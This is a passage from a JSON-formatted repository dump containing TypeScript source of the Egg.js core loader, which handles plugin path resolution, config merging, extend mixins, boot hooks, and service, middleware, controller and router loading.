path.join(pluginPath, exports.import);\n        }\n      } else if (exports.require) {\n        realPluginPath = path.join(pluginPath, exports.require);\n      }\n      if (exports.typescript && isSupportTypeScript() && !(await exists(realPluginPath))) {\n        // if require/import path not exists, use typescript path for development stage\n        realPluginPath = path.join(pluginPath, exports.typescript);\n        debug('[formatPluginPathFromPackageJSON] use typescript path %o', realPluginPath);\n      }\n    } else if (pluginPkg.exports?.['.'] && pluginPkg.type === 'module') {\n      // support esm exports\n      let defaultExport = pluginPkg.exports['.'];\n      if (typeof defaultExport === 'string') {\n        // \"exports\": {\n        //   \".\": \"./src/index.ts\",\n        //   \"./app\": \"./src/app.ts\",\n        // }\n        realPluginPath = path.dirname(path.join(pluginPath, defaultExport));\n      } else if (defaultExport?.import) {\n        if (typeof defaultExport.import === 'string') {\n          // {\n          //   \"exports\": {\n          //     \".\": {\n          //       \"import\": \"./src/index.ts\",\n          //     },\n          //   }\n          // }\n          realPluginPath = path.dirname(path.join(pluginPath, defaultExport.import));\n        } else if (defaultExport.import.default) {\n          // {\n          //   \"exports\": {\n          //     \".\": {\n          //       \"import\": {\n          //         \"default\": \"./src/index.ts\",\n          //       },\n          //     },\n          //   }\n          // }\n          realPluginPath = path.dirname(path.join(pluginPath, defaultExport.import.default));\n        }\n      }\n      debug(\n        '[formatPluginPathFromPackageJSON] resolve plugin path from %o to %o, defaultExport: %o',\n        pluginPath,\n        realPluginPath,\n        defaultExport,\n      );\n    }\n    return realPluginPath;\n  }\n\n  #extendPlugins(targets: Record<string, EggPluginInfo>, plugins: Record<string, EggPluginInfo>): void {\n    if (!plugins) {\n      return;\n    }\n    for (const name in plugins) {\n      const plugin = plugins[name];\n      let targetPlugin = targets[name];\n      if (!targetPlugin) {\n        targetPlugin = {} as EggPluginInfo;\n        targets[name] = targetPlugin;\n      }\n      if (targetPlugin.package && targetPlugin.package === plugin.package) {\n        this.logger.warn(\n          '[@eggjs/core] plugin %s has been defined that is %j, but you define again in %s',\n          name,\n          targetPlugin,\n          plugin.from,\n        );\n      }\n      if (plugin.path || plugin.package) {\n        delete targetPlugin.path;\n        delete targetPlugin.package;\n      }\n      for (const [prop, value] of Object.entries(plugin)) {\n        if (value === undefined) {\n          continue;\n        }\n        if (Reflect.get(targetPlugin, prop) && Array.isArray(value) && value.length === 0) {\n          continue;\n        }\n        Reflect.set(targetPlugin, prop, value);\n      }\n    }\n  }\n  /** end Plugin loader */\n\n  /** start Config loader */\n  configMeta: Record<string, any>;\n  config: EggAppConfig;\n\n  /**\n   * Load config/config.js\n   *\n   * Will merge config.default.js 和 config.${env}.js\n   *\n   * @function EggLoader#loadConfig\n   * @since 1.0.0\n   */\n  async loadConfig(): Promise<void> {\n    this.timing.start('Load Config');\n    this.configMeta = {};\n\n    const target: EggAppConfig = {\n      middleware: [],\n      coreMiddleware: [],\n    };\n\n    // Load Application config first\n    const appConfig = await this.#preloadAppConfig();\n\n    //   plugin config.default\n    //     framework config.default\n    //       app config.default\n    //         plugin config.{env}\n    //           framework config.{env}\n    //             app config.{env}\n    for (const filename of this.getTypeFiles('config')) {\n      for (const unit of this.getLoadUnits()) {\n        const isApp = unit.type === 'app';\n        const config = await this.#loadConfig(unit.path, filename, isApp ? undefined : appConfig, unit.type);\n        if (!config) {\n          continue;\n        }\n        debug('[loadConfig] Loaded config %s/%s, %j', unit.path, filename, config);\n        extend(true, target, config);\n      }\n    }\n\n    // load env from process.env.EGG_APP_CONFIG\n    const envConfig = this.#loadConfigFromEnv();\n    if (envConfig) {\n      debug('[loadConfig] Loaded config from env, %j', envConfig);\n      extend(true, target, envConfig);\n    }\n\n    // You can manipulate the order of app.config.coreMiddleware and app.config.appMiddleware in app.js\n    target.coreMiddleware = target.coreMiddleware || [];\n    // alias for coreMiddleware\n    target.coreMiddlewares = target.coreMiddleware;\n\n    target.appMiddleware = target.middleware || [];\n    // alias for appMiddleware\n    target.appMiddlewares = target.appMiddleware;\n\n    this.config = target;\n    debug('[loadConfig] type: %s, all config: %o', this.app.type, this.config);\n    this.timing.end('Load Config');\n  }\n\n  async #preloadAppConfig(): Promise<Record<string, any>> {\n    const names = ['config.default', `config.${this.serverEnv}`];\n    const target: Record<string, any> = {};\n    for (const filename of names) {\n      const config = await this.#loadConfig(this.options.baseDir, filename, undefined, 'app');\n      if (!config) {\n        continue;\n      }\n      extend(true, target, config);\n    }\n    return target;\n  }\n\n  async #loadConfig(\n    dirpath: string,\n    filename: string,\n    extraInject: object | undefined,\n    type: EggDirInfoType,\n  ): Promise<Record<string, any> | undefined> {\n    const isPlugin = type === 'plugin';\n    const isApp = type === 'app';\n\n    let filepath = this.resolveModule(path.join(dirpath, 'config', filename));\n    // let config.js compatible\n    if (filename === 'config.default' && !filepath) {\n      filepath = this.resolveModule(path.join(dirpath, 'config/config'));\n    }\n    if (!filepath) {\n      return;\n    }\n    const config: Record<string, any> = await this.loadFile(filepath, this.appInfo, extraInject);\n    if (!config) return;\n    if (isPlugin || isApp) {\n      assert(!config.coreMiddleware, 'Can not define coreMiddleware in app or plugin');\n    }\n    if (!isApp) {\n      assert(!config.middleware, 'Can not define middleware in ' + filepath);\n    }\n    // store config meta, check where is the property of config come from.\n    this.#setConfigMeta(config, filepath);\n    return config;\n  }\n\n  #loadConfigFromEnv(): Record<string, unknown> | undefined {\n    const envConfigStr = process.env.EGG_APP_CONFIG;\n    if (!envConfigStr) return;\n    try {\n      const envConfig: Record<string, unknown> = JSON.parse(envConfigStr);\n      this.#setConfigMeta(envConfig, '<process.env.EGG_APP_CONFIG>');\n      return envConfig;\n    } catch {\n      this.options.logger.warn('[egg-loader] process.env.EGG_APP_CONFIG is not invalid JSON: %s', envConfigStr);\n    }\n  }\n\n  #setConfigMeta(config: Record<string, unknown>, filepath: string): void {\n    config = extend(true, {}, config);\n    this.#setConfig(config, filepath);\n    extend(true, this.configMeta, config);\n  }\n\n  #setConfig(obj: Record<string, any>, filepath: string): void {\n    for (const key of Object.keys(obj)) {\n      const val = obj[key];\n      // ignore console\n      if (key === 'console' && val && typeof val.Console === 'function' && val.Console === console.Console) {\n        obj[key] = filepath;\n        continue;\n      }\n      if (val && Object.getPrototypeOf(val) === Object.prototype && Object.keys(val).length > 0) {\n        this.#setConfig(val, filepath);\n        continue;\n      }\n      obj[key] = filepath;\n    }\n  }\n  /** end Config loader */\n\n  /** start Extend loader */\n  /**\n   * mixin Agent.prototype\n   * @function EggLoader#loadAgentExtend\n   * @since 1.0.0\n   */\n  async loadAgentExtend(): Promise<void> {\n    await this.loadExtend('agent', this.app);\n  }\n\n  /**\n   * mixin Application.prototype\n   * @function EggLoader#loadApplicationExtend\n   * @since 1.0.0\n   */\n  async loadApplicationExtend(): Promise<void> {\n    await this.loadExtend('application', this.app);\n  }\n\n  /**\n   * mixin Request.prototype\n   * @function EggLoader#loadRequestExtend\n   * @since 1.0.0\n   */\n  async loadRequestExtend(): Promise<void> {\n    await this.loadExtend('request', this.app.request);\n  }\n\n  /**\n   * mixin Response.prototype\n   * @function EggLoader#loadResponseExtend\n   * @since 1.0.0\n   */\n  async loadResponseExtend(): Promise<void> {\n    await this.loadExtend('response', this.app.response);\n  }\n\n  /**\n   * mixin Context.prototype\n   * @function EggLoader#loadContextExtend\n   * @since 1.0.0\n   */\n  async loadContextExtend(): Promise<void> {\n    await this.loadExtend('context', this.app.context);\n  }\n\n  /**\n   * mixin app.Helper.prototype\n   * @function EggLoader#loadHelperExtend\n   * @since 1.0.0\n   */\n  async loadHelperExtend(): Promise<void> {\n    if (this.app.Helper) {\n      await this.loadExtend('helper', this.app.Helper.prototype);\n    }\n  }\n\n  /**\n   * Find all extend file paths by name\n   * can be override in top level framework to support load `app/extends/{name}.js`\n   *\n   * @param {String} name - filename which may be `app/extend/{name}.js`\n   * @returns {Array} filepaths extend file paths\n   * @private\n   */\n  protected getExtendFilePaths(name: string): string[] {\n    return this.getLoadUnits().map((unit) => path.join(unit.path, 'app/extend', name));\n  }\n\n  /**\n   * Loader app/extend/xx.js to `prototype`,\n   * @function loadExtend\n   * @param {String} name - filename which may be `app/extend/{name}.js`\n   * @param {Object} proto - prototype that mixed\n   * @since 1.0.0\n   */\n  async loadExtend(name: string, proto: object): Promise<void> {\n    this.timing.start(`Load extend/${name}.js`);\n    // All extend files\n    const filepaths = this.getExtendFilePaths(name);\n    // if use mm.env and serverEnv is not unittest\n    const needUnittest = 'EGG_MOCK_SERVER_ENV' in process.env && this.serverEnv !== 'unittest';\n    const length = filepaths.length;\n    for (let i = 0; i < length; i++) {\n      const filepath = filepaths[i];\n      filepaths.push(filepath + `.${this.serverEnv}`);\n      if (needUnittest) {\n        filepaths.push(filepath + '.unittest');\n      }\n    }\n    debug('loadExtend %s, filepaths: %j', name, filepaths);\n\n    const mergeRecord = new Map();\n    for (const rawFilepath of filepaths) {\n      const filepath = this.resolveModule(rawFilepath);\n      if (!filepath) {\n        // debug('loadExtend %o not found', rawFilepath);\n        continue;\n      }\n      if (filepath.endsWith('/index.js')) {\n        this.app.deprecate(`app/extend/${name}/index.js is deprecated, use app/extend/${name}.js instead`);\n      } else if (filepath.endsWith('/index.ts')) {\n        this.app.deprecate(`app/extend/${name}/index.ts is deprecated, use app/extend/${name}.ts instead`);\n      }\n\n      let ext = await this.requireFile(filepath);\n      // if extend object is Class, should use Class.prototype instead\n      if (isClass(ext)) {\n        ext = ext.prototype;\n      }\n      const properties = Object.getOwnPropertyNames(ext)\n        .concat(Object.getOwnPropertySymbols(ext) as unknown as string[])\n        .filter((name) => name !== 'constructor'); // ignore class constructor for extend\n\n      for (const property of properties) {\n        if (mergeRecord.has(property)) {\n          debug(\n            'Property: \"%s\" already exists in \"%s\"，it will be redefined by \"%s\"',\n            property,\n            mergeRecord.get(property),\n            filepath,\n          );\n        }\n\n        // Copy descriptor\n        let descriptor = Object.getOwnPropertyDescriptor(ext, property) as PropertyDescriptor;\n        let originalDescriptor = Object.getOwnPropertyDescriptor(proto, property);\n        if (!originalDescriptor) {\n          // try to get descriptor from originalPrototypes\n          const originalProto = originalPrototypes[name];\n          if (originalProto) {\n            originalDescriptor = Object.getOwnPropertyDescriptor(originalProto, property);\n          }\n        }\n        if (originalDescriptor) {\n          // don't override descriptor\n          descriptor = {\n            ...descriptor,\n          };\n          if (!descriptor.set && originalDescriptor.set) {\n            descriptor.set = originalDescriptor.set;\n          }\n          if (!descriptor.get && originalDescriptor.get) {\n            descriptor.get = originalDescriptor.get;\n          }\n        }\n        Object.defineProperty(proto, property, descriptor);\n        mergeRecord.set(property, filepath);\n      }\n      debug('merge %j to %s from %s', properties, name, filepath);\n    }\n    this.timing.end(`Load extend/${name}.js`);\n  }\n  /** end Extend loader */\n\n  /** start Custom loader */\n  /**\n   * load app.js\n   *\n   * @example\n   * - old:\n   *\n   * ```js\n   * module.exports = function(app) {\n   *   doSomething();\n   * }\n   * ```\n   *\n   * - new:\n   *\n   * ```js\n   * module.exports = class Boot {\n   *   constructor(app) {\n   *     this.app = app;\n   *   }\n   *   configDidLoad() {\n   *     doSomething();\n   *   }\n   * }\n   * @since 1.0.0\n   */\n  async loadCustomApp(): Promise<void> {\n    await this.#loadBootHook('app');\n    this.lifecycle.triggerConfigWillLoad();\n  }\n\n  /**\n   * Load agent.js, same as {@link EggLoader#loadCustomApp}\n   */\n  async loadCustomAgent(): Promise<void> {\n    await this.#loadBootHook('agent');\n    this.lifecycle.triggerConfigWillLoad();\n  }\n\n  // FIXME: no logger used after egg removed\n  loadBootHook(): void {\n    // do nothing\n  }\n\n  async #loadBootHook(fileName: string): Promise<void> {\n    this.timing.start(`Load ${fileName}.js`);\n    for (const unit of this.getLoadUnits()) {\n      const bootFile = path.join(unit.path, fileName);\n      const bootFilePath = this.resolveModule(bootFile);\n      if (!bootFilePath) {\n        debug('[loadBootHook:ignore] %o not found', bootFile);\n        continue;\n      }\n      debug('[loadBootHook:success] %o => %o', bootFile, bootFilePath);\n      const bootHook = await this.requireFile(bootFilePath);\n      if (isClass(bootHook)) {\n        bootHook.prototype.fullPath = bootFilePath;\n        // if is boot class, add to lifecycle\n        this.lifecycle.addBootHook(bootHook);\n        debug('[loadBootHook] add BootHookClass from %o', bootFilePath);\n      } else if (typeof bootHook === 'function') {\n        // if is boot function, wrap to class\n        // for compatibility\n        this.lifecycle.addFunctionAsBootHook(bootHook, bootFilePath);\n        debug('[loadBootHook] add bootHookFunction from %o', bootFilePath);\n      } else {\n        this.options.logger.warn('[@eggjs/core/egg_loader] %s must exports a boot class', bootFilePath);\n      }\n    }\n    // init boots\n    this.lifecycle.init();\n    this.timing.end(`Load ${fileName}.js`);\n  }\n  /** end Custom loader */\n\n  /** start Service loader */\n  /**\n   * Load app/service\n   * @function EggLoader#loadService\n   * @param {Object} options - LoaderOptions\n   * @since 1.0.0\n   */\n  async loadService(options?: Partial<ContextLoaderOptions>): Promise<void> {\n    this.timing.start('Load Service');\n    // 载入到 app.serviceClasses\n    const servicePaths = this.getLoadUnits().map((unit) => path.join(unit.path, 'app/service'));\n    options = {\n      call: true,\n      caseStyle: CaseStyle.lower,\n      fieldClass: 'serviceClasses',\n      directory: servicePaths,\n      ...options,\n    };\n    debug('[loadService] options: %o', options);\n    await this.loadToContext(servicePaths, 'service', options as ContextLoaderOptions);\n    this.timing.end('Load Service');\n  }\n  /** end Service loader */\n\n  /** start Middleware loader */\n  /**\n   * Load app/middleware\n   *\n   * app.config.xx is the options of the middleware xx that has same name as config\n   *\n   * @function EggLoader#loadMiddleware\n   * @param {Object} opt - LoaderOptions\n   * @example\n   * ```js\n   * // app/middleware/status.js\n   * module.exports = function(options, app) {\n   *   // options == app.config.status\n   *   return async next => {\n   *     await next();\n   *   }\n   * }\n   * ```\n   * @since 1.0.0\n   */\n  async loadMiddleware(opt?: Partial<FileLoaderOptions>): Promise<void> {\n    this.timing.start('Load Middleware');\n    const app = this.app;\n\n    // load middleware to app.middleware\n    const middlewarePaths = this.getLoadUnits().map((unit) => path.join(unit.path, 'app/middleware'));\n    opt = {\n      call: false,\n      override: true,\n      caseStyle: CaseStyle.lower,\n      directory: middlewarePaths,\n      ...opt,\n    };\n    await this.loadToApp(middlewarePaths, 'middlewares', opt as FileLoaderOptions);\n    debug('[loadMiddleware] middlewarePaths: %j', middlewarePaths);\n\n    for (const name in app.middlewares) {\n      Object.defineProperty(app.middleware, name, {\n        get() {\n          return app.middlewares[name];\n        },\n        enumerable: false,\n        configurable: false,\n      });\n    }\n\n    this.options.logger.info('Use coreMiddleware order: %j', this.config.coreMiddleware);\n    this.options.logger.info('Use appMiddleware order: %j', this.config.appMiddleware);\n\n    // use middleware ordered by app.config.coreMiddleware and app.config.appMiddleware\n    const middlewareNames = this.config.coreMiddleware.concat(this.config.appMiddleware);\n    debug('[loadMiddleware] middlewareNames: %j', middlewareNames);\n    const middlewaresMap = new Map<string, boolean>();\n    for (const name of middlewareNames) {\n      const createMiddleware = app.middlewares[name];\n      if (!createMiddleware) {\n        throw new TypeError(`Middleware ${name} not found`);\n      }\n      if (middlewaresMap.has(name)) {\n        throw new TypeError(`Middleware ${name} redefined`);\n      }\n      middlewaresMap.set(name, true);\n      const options = this.config[name] || {};\n      let mw: MiddlewareFunc | null = createMiddleware(options, app);\n      assert(typeof mw === 'function', `Middleware ${name} must be a function, but actual is ${inspect(mw)}`);\n      if (isGeneratorFunction(mw)) {\n        const fullpath = Reflect.get(createMiddleware, FULLPATH);\n        throw new TypeError(`Support for generators was removed, middleware: ${name}, fullpath: ${fullpath}`);\n      }\n      mw._name = name;\n      // middlewares support options.enable, options.ignore and options.match\n      mw = wrapMiddleware(mw, options);\n      if (mw) {\n        if (debug.enabled) {\n          // show mw debug log on every request\n          mw = debugMiddlewareWrapper(mw);\n        }\n        app.use(mw);\n        debug('[loadMiddleware] Use middleware: %s with options: %j', name, options);\n        this.options.logger.info('[@eggjs/core/egg_loader] Use middleware: %s', name);\n      } else {\n        this.options.logger.info('[@eggjs/core/egg_loader] Disable middleware: %s', name);\n      }\n    }\n\n    this.options.logger.info('[@eggjs/core/egg_loader] Loaded middleware from %j', middlewarePaths);\n    this.timing.end('Load Middleware');\n\n    // add router middleware, make sure router is the last middleware\n    const mw = this.app.router.middleware();\n    Reflect.set(mw, '_name', 'routerMiddleware');\n    this.app.use(mw);\n  }\n  /** end Middleware loader */\n\n  /** start Controller loader */\n  /**\n   * Load app/controller\n   * @param {Object} opt - LoaderOptions\n   * @since 1.0.0\n   */\n  async loadController(opt?: Partial<FileLoaderOptions>): Promise<void> {\n    this.timing.start('Load Controller');\n    const controllerBase = path.join(this.options.baseDir, 'app/controller');\n    opt = {\n      caseStyle: CaseStyle.lower,\n      directory: controllerBase,\n      initializer: (obj, opt) => {\n        // return class if it exports a function\n        // ```js\n        // module.exports = app => {\n        //   return class HomeController extends app.Controller {};\n        // }\n        // ```\n        if (isGeneratorFunction(obj)) {\n          throw new TypeError(`Support for generators was removed, fullpath: ${opt.path}`);\n        }\n        if (!isClass(obj) && !isAsyncFunction(obj) && typeof obj === 'function') {\n          obj = obj(this.app);\n          debug('[loadController] after init(app) => %o, meta: %j', obj, opt);\n          if (isGeneratorFunction(obj)) {\n            throw new TypeError(`Support for generators was removed, fullpath: ${opt.path}`);\n          }\n        }\n        if (isClass(obj)) {\n          obj.prototype.pathName = opt.pathName;\n          obj.prototype.fullPath = opt.path;\n          return wrapControllerClass(obj, opt.path);\n        }\n        if (isObject(obj)) {\n          return wrapObject(obj, opt.path);\n        }\n        if (isAsyncFunction(obj)) {\n          return wrapObject({ 'module.exports': obj }, opt.path)['module.exports'];\n        }\n        return obj;\n      },\n      ...opt,\n    };\n    await this.loadToApp(controllerBase, 'controller', opt as FileLoaderOptions);\n    debug('[loadController] app.controller => %o', this.app.controller);\n    this.options.logger.info('[@eggjs/core/egg_loader] Controller loaded: %s', controllerBase);\n    this.timing.end('Load Controller');\n  }\n  /** end Controller loader */\n\n  /** start Router loader */\n  /**\n   * Load app/router.js\n   * @function EggLoader#loadRouter\n   * @since 1.0.0\n   */\n  async loadRouter(): Promise<void> {\n    this.timing.start('Load Router');\n    await this.loadFile(path.join(this.options.baseDir, 'app/router'));\n    this.timing.end('Load Router');\n  }\n  /** end Router loader */\n\n  /** start CustomLoader loader */\n  async loadCustomLoader(): Promise<void> {\n    assert(this.config, 'should loadConfig first');\n    const customLoader = this.config.customLoader || {};\n\n    for (const property of Object.keys(customLoader)) {\n      const loaderConfig = {\n        ...customLoader[property],\n      };\n      assert(loaderConfig.directory, `directory is required for config.customLoader.${property}`);\n      let directory: string | string[];\n      if (loaderConfig.loadunit === true) {\n        directory = this.getLoadUnits().map((unit) => path.join(unit.path, loaderConfig.directory));\n      } else {\n        directory = path.join(this.appInfo.baseDir, loaderConfig.directory);\n      }\n      const inject = loaderConfig.inject || 'app';\n      debug('[loadCustomLoader] loaderConfig: %o, inject: %o, directory: %o', loaderConfig, inject, directory);\n\n      switch (inject) {\n        case 'ctx': {\n          assert(!(property in this.app.context), `customLoader should not override ctx.${property}`);\n          const options = {\n            caseStyle: CaseStyle.lower,\n            fieldClass: `${property}Classes`,\n            ...loaderConfig,\n            directory,\n          };\n          await this.loadToContext(directory, property, options);\n          break;\n        }\n        case 'app': {\n          assert(!(property in this.app), `customLoader should not override app.${property}`);\n          const options = {\n            caseStyle: CaseStyle.lower,\n            initializer: (Clazz: unknown) => {\n              return isClass(Clazz) ? new Clazz(this.app) : Clazz;\n            },\n            ...loaderConfig,\n            directory,\n          };\n          await this.loadToApp(directory, property, options);\n          break;\n        }\n        default:\n          throw new Error('inject only support app or ctx');\n      }\n    }\n  }\n  /** end CustomLoader loader */\n\n  // Low Level API\n\n  /**\n   * Load single file, will invoke when export is function\n   *\n   * @param {String} filepath - fullpath\n   * @param {Array} inject - pass rest arguments into the function when invoke\n   * @returns {Object} exports\n   * @example\n   * ```js\n   * app.loader.loadFile(path.join(app.options.baseDir, 'config/router.js'));\n   * ```\n   * @since 1.0.0\n   */\n  async loadFile(filepath: string, ...inject: unknown[]): Promise<any> {\n    const fullpath = filepath && this.resolveModule(filepath);\n    if (!fullpath) {\n      return null;\n    }\n\n    // function(arg1, args, ...) {}\n    if (inject.length === 0) {\n      inject = [this.app];\n    }\n    let mod = await this.requireFile(fullpath);\n    if (typeof mod === 'function' && !isClass(mod)) {\n      mod = mod(...inject);\n      if (isPromise(mod)) {\n        mod = await mod;\n      }\n    }\n    return mod;\n  }\n\n  /**\n   * @param {String} filepath - fullpath\n   * @private\n   */\n  async requireFile(filepath: string): Promise<any> {\n    const timingKey = `Require(${this.#requiredCount++}) ${utils.getResolvedFilename(filepath, this.options.baseDir)}`;\n    this.timing.start(timingKey);\n    const mod = await utils.loadFile(filepath);\n    this.timing.end(timingKey);\n    return mod;\n  }\n\n  /**\n   * Get all loadUnit\n   *\n   * loadUnit is a directory that can be loaded by EggLoader, it has the same structure.\n   * loadUnit has a path and a type(app, framework, plugin).\n   *\n   * The order of the loadUnits:\n   *\n   * 1. plugin\n   * 2. framework\n   * 3. app\n   *\n   * @returns {Array} loadUnits\n   * @since 1.0.0\n   */\n  getLoadUnits(): EggDirInfo[] {\n    if (this.dirs) {\n      return this.dirs;\n    }\n\n    this.dirs = [];\n    if (this.orderPlugins) {\n      for (const plugin of this.orderPlugins) {\n        this.dirs.push({\n          path: plugin.path as string,\n          type: 'plugin',\n        });\n      }\n    }\n\n    // framework or egg path\n    for (const eggPath of this.eggPaths) {\n      this.dirs.push({\n        path: eggPath,\n        type: 'framework',\n      });\n    }\n\n    // application\n    this.dirs.push({\n      path: this.options.baseDir,\n      type: 'app',\n    });\n\n    debug('Loaded dirs %j', this.dirs);\n    return this.dirs;\n  }\n\n  /**\n   * Load files using {@link FileLoader}, inject to {@link Application}\n   * @param {String|Array} directory - see {@link FileLoader}\n   * @param {String} property - see {@link FileLoader}, e.g.: 'controller', 'middlewares'\n   * @param {Object} options - see {@link FileLoader}\n   * @since 1.0.0\n   */\n  async loadToApp(\n    directory: string | string[],\n    property: string | symbol,\n    options?: Omit<FileLoaderOptions, 'inject' | 'target'>,\n  ): Promise<void> {\n    const target = {};\n    Reflect.set(this.app, property, target);\n    const loadOptions: FileLoaderOptions = {\n      ...options,\n      directory: options?.directory ?? directory,\n      target,\n      inject: this.app,\n    };\n\n    const timingKey = `Load \"${String(property)}\" to Application`;\n    this.timing.start(timingKey);\n    await new FileLoader(loadOptions).load();\n    this.timing.end(timingKey);\n  }\n\n  /**\n   * Load files using {@link ContextLoader}\n   * @param {String|Array} directory - see {@link ContextLoader}\n   * @param {String} property - see {@link ContextLoader}\n   * @param {Object} options - see {@link ContextLoader}\n   * @since 1.0.0\n   */\n  async loadToContext(\n    directory: string | string[],\n    property: string | symbol,\n    options?: Omit<ContextLoaderOptions, 'inject' | 'property'>,\n  ): Promise<void> {\n    const loadOptions: ContextLoaderOptions = {\n      ...options,\n      directory: options?.directory || directory,\n      property,\n      inject: this.app,\n    };\n\n    const timingKey = `Load \"${String(property)}\" to Context`;\n    this.timing.start(timingKey);\n    await new ContextLoader(loadOptions).load();\n    this.timing.end(timingKey);\n  }\n\n  /**\n   * @member {FileLoader} EggLoader#FileLoader\n   * @since 1.0.0\n   */\n  get FileLoader(): typeof FileLoader {\n    return FileLoader;\n  }\n\n  /**\n   * @member {ContextLoader} EggLoader#ContextLoader\n   * @since 1.0.0\n   */\n  get ContextLoader(): typeof ContextLoader {\n    return ContextLoader;\n  }\n\n  getTypeFiles(filename: string): string[] {\n    const files = [`${filename}.default`];\n    if (this.serverScope) files.push(`${filename}.${this.serverScope}`);\n    if (this.serverEnv === 'default') return files;\n    files.push(`${filename}.${this.serverEnv}`);\n    if (this.serverScope) {\n      files.push(`${filename}.${this.serverScope}_${this.serverEnv}`);\n    }\n    return files;\n  }\n\n  resolveModule(filepath: string): string | undefined {\n    let fullPath: string | undefined;\n    try {\n      fullPath = utils.resolvePath(filepath);\n    } catch {\n      // debug('[resolveModule] Module %o resolve error: %s', filepath, err.stack);\n    }\n    if (!fullPath) {\n      fullPath = this.#resolveFromOutDir(filepath);\n    }\n    return fullPath;\n  }\n\n  #resolveOutDir(): string | undefined {\n    // 1. Explicit override from package.json egg.outDir\n    if (this.pkg.egg?.outDir) {\n      debug('[resolveOutDir] use pkg.egg.outDir: %o', this.pkg.egg.outDir);\n      return this.pkg.egg.outDir;\n    }\n    // 2. Auto-detect from tsconfig.json compilerOptions.outDir\n    const tsConfigFile = path.join(this.options.baseDir, 'tsconfig.json');\n    if (fs.existsSync(tsConfigFile)) {\n      try {\n        const tsConfig = JSON.parse(fs.readFileSync(tsConfigFile, 'utf-8'));\n        if (tsConfig.compilerOptions?.outDir) {\n          debug('[resolveOutDir] use tsconfig.json compilerOptions.outDir: %o', tsConfig.compilerOptions.outDir);\n          return tsConfig.compilerOptions.outDir;\n        }\n      } catch {\n        // ignore parse errors\n      }\n    }\n  }\n\n  #resolveFromOutDir(filepath: string): string | undefined {\n    if (!this.outDir) return;\n    const baseDir = this.options.baseDir;\n    if (!filepath.startsWith(baseDir + path.sep)) return;\n    const relativePath = path.relative(baseDir, filepath);\n    for (const ext of ['.js', '.mjs']) {\n      const outDirPath = path.join(baseDir, this.outDir, relativePath + ext);\n      if (fs.existsSync(outDirPath)) {\n        debug('[resolveModule:outDir] %o => %o', filepath, outDirPath);\n        return outDirPath;\n      }\n    }\n  }\n}\n\n// convert dep to dependencies for compatibility\nfunction depCompatible(plugin: EggPluginInfo & { dep?: string[] }) {\n  if (plugin.dep && !(Array.isArray(plugin.dependencies) && plugin.dependencies.length > 0)) {\n    plugin.dependencies = plugin.dep;\n    delete plugin.dep;\n  }\n}\n\nfunction isValidatePackageName(name: string) {\n  // only check file path style\n  if (name.startsWith('.')) return false;\n  if (name.startsWith('/')) return false;\n  if (name.includes(':')) return false;\n  return true;\n}\n\n// support pathMatching on middleware\nfunction wrapMiddleware(\n  mw: MiddlewareFunc,\n  options: PathMatchingOptions & { enable?: boolean },\n): MiddlewareFunc | null {\n  // support options.enable\n  if (options.enable === false) {\n    return null;\n  }\n\n  // support options.match and options.ignore\n  if (!options.match && !options.ignore) {\n    return mw;\n  }\n  const match = pathMatching(options);\n\n  const fn: MiddlewareFunc = (ctx, next) => {\n    if (!match(ctx)) return next();\n    return mw(ctx, next);\n  };\n  fn._name = `${mw._name}middlewareWrapper`;\n  return fn;\n}\n\nfunction debugMiddlewareWrapper(mw: MiddlewareFunc): MiddlewareFunc {\n  const fn: MiddlewareFunc = async (ctx, next) => {\n    const startTime = now();\n    debug('[debugMiddlewareWrapper] [%s %s] enter middleware: %s', ctx.method, ctx.url, mw._name);\n    await mw(ctx, next);\n    const rt = diff(startTime);\n    debug('[debugMiddlewareWrapper] [%s %s] after middleware: %s [%sms]', ctx.method, ctx.url, mw._name, rt);\n  };\n  fn._name = `${mw._name}DebugWrapper`;\n  return fn;\n}\n\n// wrap the controller class, yield a object with middlewares\nfunction wrapControllerClass(Controller: typeof BaseContextClass, fullPath: string) {\n  let proto = Controller.prototype;\n  const ret: Record<string, any> = {};\n  // tracing the prototype chain\n  while (proto !== Object.prototype) {\n    const keys = Object.getOwnPropertyNames(proto);\n    for (const key of keys) {\n      // getOwnPropertyNames will return constructor\n      // that should be ignored\n      if (key === 'constructor') {\n        continue;\n      }\n      // skip getter, setter & non-function properties\n      const d = Object.getOwnPropertyDescriptor(proto, key);\n      // prevent to override sub method\n      if (typeof d?.value === 'function' && !Object.hasOwn(ret, key)) {\n        const controllerMethodName = `${Controller.name}.${key}`;\n        if (isGeneratorFunction(d.value)) {\n          throw new TypeError(\n            `Support for generators was removed, controller \\`${controllerMethodName}\\`, fullpath: ${fullPath}`,\n          );\n        }\n        ret[key] = controllerMethodToMiddleware(Controller, key);\n        ret[key][FULLPATH] = `${fullPath}#${controllerMethodName}()`;\n      }\n    }\n    proto = Object.getPrototypeOf(proto);\n  }\n  return ret;\n}\n\nfunction controllerMethodToMiddleware(Controller: typeof BaseContextClass, key: string) {\n  return function classControllerMiddleware(this: Context, ...args: unknown[]) {\n    const controller = new Controller(this);\n    if (!this.app.config.controller?.supportParams) {\n      args = [this];\n    }\n    // @ts-expect-error key exists\n    return controller[key](...args);\n  };\n}\n\n// wrap the method of the object, method can receive ctx as it's first argument\nfunction wrapObject(obj: Record<string, any>, fullPath: string, prefix?: string) {\n  const keys = Object.keys(obj);\n  const ret: Record<string, any> = {};\n  prefix = prefix ?? '';\n  for (const key of keys) {\n    const controllerMethodName = `${prefix}${key}`;\n    const item = obj[key];\n    if (isGeneratorFunction(item)) {\n      throw new TypeError(\n        `Support for generators was removed, controller \\`${controllerMethodName}\\`, fullpath: ${fullPath}`,\n      );\n    }\n    if (typeof item === 'function') {\n      const names = getParamNames(item);\n      if (names[0] === 'next') {\n        throw new Error(`controller \\`${controllerMethodName}\\` should not use next as argument from file ${fullPath}`);\n      }\n      ret[key] = objectFunctionToMiddleware(item);\n      ret[key][FULLPATH] = `${fullPath}#${controllerMethodName}()`;\n    } else if (isObject(item)) {\n      ret[key] = wrapObject(item, fullPath, `${controllerMethodName}.`);\n    }\n  }\n  debug('[wrapObject] fullPath: %s, prefix: %s => %o', fullPath, prefix, ret);\n  return ret;\n}\n\nfunction objectFunctionToMiddleware(func: Fun) {\n  async function objectControllerMiddleware(this: Context, ...args: unknown[]) {\n    if (!this.app.config.controller?.supportParams) {\n      args = [this];\n    }\n    return await func.apply(this, args);\n  }\n  for (const key in func) {\n    Reflect.set(objectControllerMiddleware, key, Reflect.get(func, key));\n  }\n  return objectControllerMiddleware;\n}\n"
  },
  {
    "path": "packages/core/src/loader/file_loader.ts",
